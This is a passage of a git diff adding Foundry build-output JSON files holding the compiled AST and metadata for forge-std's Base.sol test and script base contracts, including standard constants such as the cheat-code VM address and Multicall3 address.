(bytes32)"}},"id":36,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"879:35:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":33,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"871:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":32,"name":"uint256","nodeType":"ElementaryTypeName","src":"871:7:0","typeDescriptions":{}}},"id":37,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"871:44:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":31,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"863:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":30,"name":"uint160","nodeType":"ElementaryTypeName","src":"863:7:0","typeDescriptions":{}}},"id":38,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"863:53:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":29,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"855:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":28,"name":"address","nodeType":"ElementaryTypeName","src":"855:7:0","typeDescriptions":{}}},"id":39,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"855:62:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":43,"nodeType":"VariableDeclaration","src":"992:92:0","nodes":[],"constant":true,"mutability":"constant","name":"DEFAULT_TEST_CONTRACT","nameLocation":"1018:21:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41,"name":"address","nodeType":"ElementaryTypeName","src":"992:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307835363135644542373938424233453464466130313339644661316233443433334363323362373266","id":42,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1042:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f"},"visibility":"internal"},{"id":46,"nodeType":"VariableDeclaration","src":"1158:89:0","nodes":[],"constant":true,"mutability":"constant","name":"MULTICALL3_ADDRESS","nameLocation":"1184:18:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44,"name":"address","nodeType":"ElementaryTypeName","src":"1158:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307863413131626465303539373762333633313136373032383836326245326131373339373643413131","id":45,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1205:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0xcA11bde05977b3631167028862bE2a173976CA11"},"visibility":"internal"},{"id":49,"nodeType":"VariableDeclaration","src":"1294:130:0","nodes":[],"constant":true,"mutability":"constant","name":"SECP256K1_ORDER","nameLocation":"1320:15:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47,"name":"uint256","nodeType":"ElementaryTypeName","src":"1294:7:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383532383337353634323739303734393034333832363035313633313431353138313631343934333337","id":48,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1346:78:0","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907852837564279074904382605163141518161494337_by_1","typeString":"int_const 1157...(70 digits omitted)...4337"},"value":"115792089237316195423570985008687907852837564279074904382605163141518161494337"},"visibility":"internal"},{"id":52,"nodeType":"VariableDeclaration","src":"1431:126:0","nodes":[],"constant":true,"mutability":"constant","name":"UINT256_MAX","nameLocation":"1457:11:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50,"name":"uint256","nodeType":"ElementaryTypeName","src":"1431:7:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383533323639393834363635363430353634303339343537353834303037393133313239363339393335","id":51,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1479:78:0","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"115792089237316195423570985008687907853269984665640564039457584007913129639935"},"visibility":"internal"},{"id":58,"nodeType":"VariableDeclaration","src":"1564:40:0","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"1585:2:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":54,"nodeType":"UserDefinedTypeName","pathNode":{"id":53,"name":"Vm","nameLocations":["1564:2:0"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"1564:2:0"},"referencedDeclaration":15673,"src":"1564:2:0","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"id":56,"name":"VM_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20,"src":"1593:10:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"1590:2:0","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":57,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1590:14:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"internal"},{"id":61,"nodeType":"VariableDeclaration","src":"1610:28:0","nodes":[],"constant":false,"mutability":"mutable","name":"stdstore","nameLocation":"1630:8:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage"},"typeName":{"id":60,"nodeType":"UserDefinedTypeName","pathNode":{"id":59,"name":"StdStorage","nameLocations":["1610:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"1610:10:0"},"referencedDeclaration":7427,"src":"1610:10:0","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"abstract":true,"baseContracts":[],"canonicalName":"CommonBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62],"name":"CommonBase","nameLocation":"166:10:0","scope":75,"usedErrors":[],"usedEvents":[]},{"id":65,"nodeType":"ContractDefinition","src":"1643:43:0","nodes":[],"abstract":true,"baseContracts":[{"baseName":{"id":63,"name":"CommonBase","nameLocations":["1673:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":62,"src":"1673:10:0"},"id":64,"nodeType":"InheritanceSpecifier","src":"1673:10:0"}],"canonicalName":"TestBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[65,62],"name":"TestBase","nameLocation":"1661:8:0","scope":75,"usedErrors":[],"usedEvents":[]},{"id":74,"nodeType":"ContractDefinition","src":"1688:104:0","nodes":[{"id":73,"nodeType":"VariableDeclaration","src":"1737:52:0","nodes":[],"constant":true,"mutability":"constant","name":"vmSafe","nameLocation":"1762:6:0","scope":74,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"},"typeName":{"id":69,"nodeType":"UserDefinedTypeName","pathNode":{"id":68,"name":"VmSafe","nameLocations":["1737:6:0"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"1737:6:0"},"referencedDeclaration":15098,"src":"1737:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"value":{"arguments":[{"id":71,"name":"VM_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20,"src":"1778:10:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":70,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"1771:6:0","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_VmSafe_$15098_$","typeString":"type(contract VmSafe)"}},"id":72,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1771:18:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"visibility":"internal"}],"abstract":true,"baseContracts":[{"baseName":{"id":66,"name":"CommonBase","nameLocations":["1720:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":62,"src":"1720:10:0"},"id":67,"nodeType":"InheritanceSpecifier","src":"1720:10:0"}],"canonicalName":"ScriptBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[74,62],"name":"ScriptBase","nameLocation":"1706:10:0","scope":75,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":0} \ No newline at end of file diff --git a/contracts/out/Base.sol/TestBase.json b/contracts/out/Base.sol/TestBase.json new file mode 100644 index 000000000..6953e061e --- /dev/null +++ b/contracts/out/Base.sol/TestBase.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/Base.sol\":\"TestBase\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/Base.sol":"TestBase"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/Base.sol","id":75,"exportedSymbols":{"CommonBase":[62],"ScriptBase":[74],"StdStorage":[7427],"TestBase":[65],"Vm":[15673],"VmSafe":[15098]},"nodeType":"SourceUnit","src":"32:1761:0","nodes":[{"id":1,"nodeType":"PragmaDirective","src":"32:31:0","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":3,"nodeType":"ImportDirective","src":"65:44:0","nodes":[],"absolutePath":"lib/forge-std/src/StdStorage.sol","file":"./StdStorage.sol","nameLocation":"-1:-1:-1","scope":75,"sourceUnit":9387,"symbolAliases":[{"foreign":{"id":2,"name":"StdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7427,"src":"73:10:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":6,"nodeType":"ImportDirective","src":"110:36:0","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":75,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":4,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"118:2:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":5,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"122:6:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62,"nodeType":"ContractDefinition","src":"148:1493:0","nodes":[{"id":20,"nodeType":"VariableDeclaration","src":"254:94:0","nodes":[],"constant":true,"mutability":"constant","name":"VM_ADDRESS","nameLocation":"280:10:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":15,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"327:17:0","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":14,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"317:9:0","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":16,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"317:28:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":13,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"309:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":12,"name":"uint256","nodeType":"ElementaryTypeName","src":"309:7:0","typeDescriptions":{}}},"id":17,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"309:37:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"301:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":10,"name":"uint160","nodeType":"ElementaryTypeName","src":"301:7:0","typeDescriptions":{}}},"id":18,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"301:46:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":9,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"293:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":8,"name":"address","nodeType":"ElementaryTypeName","src":"293:7:0","typeDescriptions":{}}},"id":19,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"293:55:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":23,"nodeType":"VariableDeclaration","src":"438:78:0","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE","nameLocation":"464:7:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21,"name":"address","nodeType":"ElementaryTypeName","src":"438:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":22,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"474:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"},"visibility":"internal"},{"id":26,"nodeType":"VariableDeclaration","src":"623:86:0","nodes":[],"constant":true,"mutability":"constant","name":"CREATE2_FACTORY","nameLocation":"649:15:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24,"name":"address","nodeType":"ElementaryTypeName","src":"623:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307834653539623434383437623337393537383538383932306341373846624632366330423439353643","id":25,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"667:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4e59b44847b379578588920cA78FbF26c0B4956C"},"visibility":"internal"},{"id":40,"nodeType":"VariableDeclaration","src":"812:105:0","nodes":[],"constant":true,"mutability":"constant","name":"DEFAULT_SENDER","nameLocation":"838:14:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27,"name":"address","nodeType":"ElementaryTypeName","src":"812:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"666f756e6472792064656661756c742063616c6c6572","id":35,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"889:24:0","typeDescriptions":{"typeIdentifier":"t_stringliteral_ee6e12ba256a78bc5d3ab9651804c8ab1f12e6bbf3894d4083f33e07309d1f38","typeString":"literal_string \"foundry default caller\""},"value":"foundry default caller"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ee6e12ba256a78bc5d3ab9651804c8ab1f12e6bbf3894d4083f33e07309d1f38","typeString":"literal_string \"foundry default caller\""}],"id":34,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"879:9:0","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":36,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"879:35:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":33,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"871:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":32,"name":"uint256","nodeType":"ElementaryTypeName","src":"871:7:0","typeDescriptions":{}}},"id":37,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"871:44:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":31,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"863:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":30,"name":"uint160","nodeType":"ElementaryTypeName","src":"863:7:0","typeDescriptions":{}}},"id":38,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"863:53:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":29,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"855:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":28,"name":"address","nodeType":"ElementaryTypeName","src":"855:7:0","typeDescriptions":{}}},"id":39,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"855:62:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":43,"nodeType":"VariableDeclaration","src":"992:92:0","nodes":[],"constant":true,"mutability":"constant","name":"DEFAULT_TEST_CONTRACT","nameLocation":"1018:21:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41,"name":"address","nodeType":"ElementaryTypeName","src":"992:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307835363135644542373938424233453464466130313339644661316233443433334363323362373266","id":42,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1042:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f"},"visibility":"internal"},{"id":46,"nodeType":"VariableDeclaration","src":"1158:89:0","nodes":[],"constant":true,"mutability":"constant","name":"MULTICALL3_ADDRESS","nameLocation":"1184:18:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44,"name":"address","nodeType":"ElementaryTypeName","src":"1158:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307863413131626465303539373762333633313136373032383836326245326131373339373643413131","id":45,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1205:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0xcA11bde05977b3631167028862bE2a173976CA11"},"visibility":"internal"},{"id":49,"nodeType":"VariableDeclaration","src":"1294:130:0","nodes":[],"constant":true,"mutability":"constant","name":"SECP256K1_ORDER","nameLocation":"1320:15:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47,"name":"uint256","nodeType":"ElementaryTypeName","src":"1294:7:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383532383337353634323739303734393034333832363035313633313431353138313631343934333337","id":48,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1346:78:0","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907852837564279074904382605163141518161494337_by_1","typeString":"int_const 1157...(70 digits omitted)...4337"},"value":"115792089237316195423570985008687907852837564279074904382605163141518161494337"},"visibility":"internal"},{"id":52,"nodeType":"VariableDeclaration","src":"1431:126:0","nodes":[],"constant":true,"mutability":"constant","name":"UINT256_MAX","nameLocation":"1457:11:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50,"name":"uint256","nodeType":"ElementaryTypeName","src":"1431:7:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383533323639393834363635363430353634303339343537353834303037393133313239363339393335","id":51,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1479:78:0","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits 